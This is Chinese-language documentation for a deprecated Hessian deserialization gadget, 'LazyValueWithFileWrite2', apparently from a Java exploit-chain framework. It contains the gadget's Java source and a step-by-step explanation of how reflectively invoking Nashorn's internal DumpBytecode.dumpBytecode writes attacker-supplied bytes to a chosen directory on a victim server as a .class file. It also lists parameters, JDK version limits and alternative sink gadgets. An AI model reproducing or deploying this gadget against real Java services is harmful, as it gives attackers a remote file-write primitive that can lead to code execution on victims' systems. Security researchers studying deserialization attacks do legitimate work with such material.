- 类别:hessian 别名:— 优先级:—(
@Deprecated) - 作者:Wh1t3p1g
- 依赖:无第三方依赖(使用 JDK Nashorn 内部类
jdk.nashorn.internal.codegen.DumpBytecode)
读取本地文件字节,构造 Nashorn ScriptEnvironment/DebugLogger 内部对象,产出 [className, methodName, params] 三元组,指示上游 LazyValue 载体反射调用 jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode(...),借该内部调试方法把字节写入指定目录,实现远程写文件(写出一个以 classname 命名的 .class 文件)。属 LazyValueChain 终端 sink(END),已被标注 @Deprecated。
- 入口
tags:LazyValueChain、END—— 承接上游 LazyValue 载体;END表示链尾终端,无下游。 - 衔接
nextTags:无。 excludes:无。
// LazyValueWithFileWrite2.java(@Deprecated)
@Param(name="远程目标路径", description="/tmp")
public String dir;
@Param(name="类名", description="like Test")
public String classname = "Test";
@Param(name="本地路径", description="/tmp/test")
public String localFile;
public byte[] data = new byte[0];
public Object getObject() throws Exception {
String className = "jdk.nashorn.internal.codegen.DumpBytecode";
String methodName = "dumpBytecode";
this.data = FileHelper.fileGetContent(this.localFile); // ① 读本地文件字节
ScriptEnvironment env = (ScriptEnvironment) Reflections.createWithoutConstructor(
"jdk.nashorn.internal.runtime.ScriptEnvironment"); // ② 免构造器实例化 env
Reflections.setFieldValue(env, "_dest_dir", this.dir); // ③ 反射设置输出目录
Object debugger = Reflections.createWithoutConstructor(
"jdk.nashorn.internal.runtime.logging.DebugLogger"); // ④ 免构造器实例化 logger
Object[] params = new Object[]{env, debugger, this.data, this.classname}; // ⑤ 组装参数
return new Object[]{className, methodName, params}; // ⑥ 返回描述符
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(); // 终端:不调用 chain.doCreate
}逐段说明:
dumpBytecode(ScriptEnvironment env, DebugLogger logger, byte[] bytecode, String className)是 Nashorn 编译器内部用于调试的方法:当env._dest_dir非空时,它把bytecode以className + ".class"为名写入该目录。攻击正是滥用此副作用当作任意写文件原语。- 为构造这两个无公开构造器的内部对象,用
Reflections.createWithoutConstructor(基于Unsafe/反射,绕过构造器)实例化ScriptEnvironment与DebugLogger,再反射把_dest_dir字段设为目标目录dir。 - 写出的字节来自攻击者本地
localFile(FileHelper.fileGetContent);最终文件路径为dir/classname.class——因此本构件天然适合投放.class,若要写任意后缀不如用 LazyValueWithFileWrite1(可自定义完整路径)。 - 同样是终端:
invoke不调chain.doCreate。返回描述符交上游 LazyValue 载体,受害端 Hessian 反序列化触发惰性求值时反射执行DumpBytecode.dumpBytecode(...)完成写文件(消费机制见 LazyValueWithDS2 中SwingLazyValueUIDefaults片段)。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
dir |
远程目标路径 | 受害端输出目录(_dest_dir),文件名固定为 classname.class |
无(示例 /tmp) |
— |
classname |
类名 | 输出文件的基名(.class 前缀) |
Test |
— |
localFile |
本地路径 | 攻击者本地待读取并投递的字节文件 | 无(示例 /tmp/test) |
— |
- 依赖 JDK 内置 Nashorn 引擎(
jdk.nashorn.*)。Nashorn 于 JDK 8 引入、JDK 11 起标记废弃、JDK 15 移除,故本构件仅在 JDK 8~14 可用,高版本 JDK 无 Nashorn 类而失效——这也是它被标@Deprecated的原因,日常优先选无 Nashorn 依赖的 LazyValueWithFileWrite1。 - 输出文件名受限(强制
.class后缀),灵活度低于 FileWrite1。 - 仅写文件、不直接 RCE,需配合可触发的落地路径达成后续利用。
自由构件,未直接出现在预设链中(usedInChains 为空),且被 @Deprecated,仅作历史/特定 JDK 环境备选。
- 上游(消费
LazyValueChain):SwingLazyValueUIDefaults、ProxyLazyValueUIDefaults 等 LazyValue 载体。 - 同族终端 sink:LazyValueWithFileWrite1(推荐替代,无 Nashorn 依赖)、LazyValueWithJNDI、LazyValueWithSleep。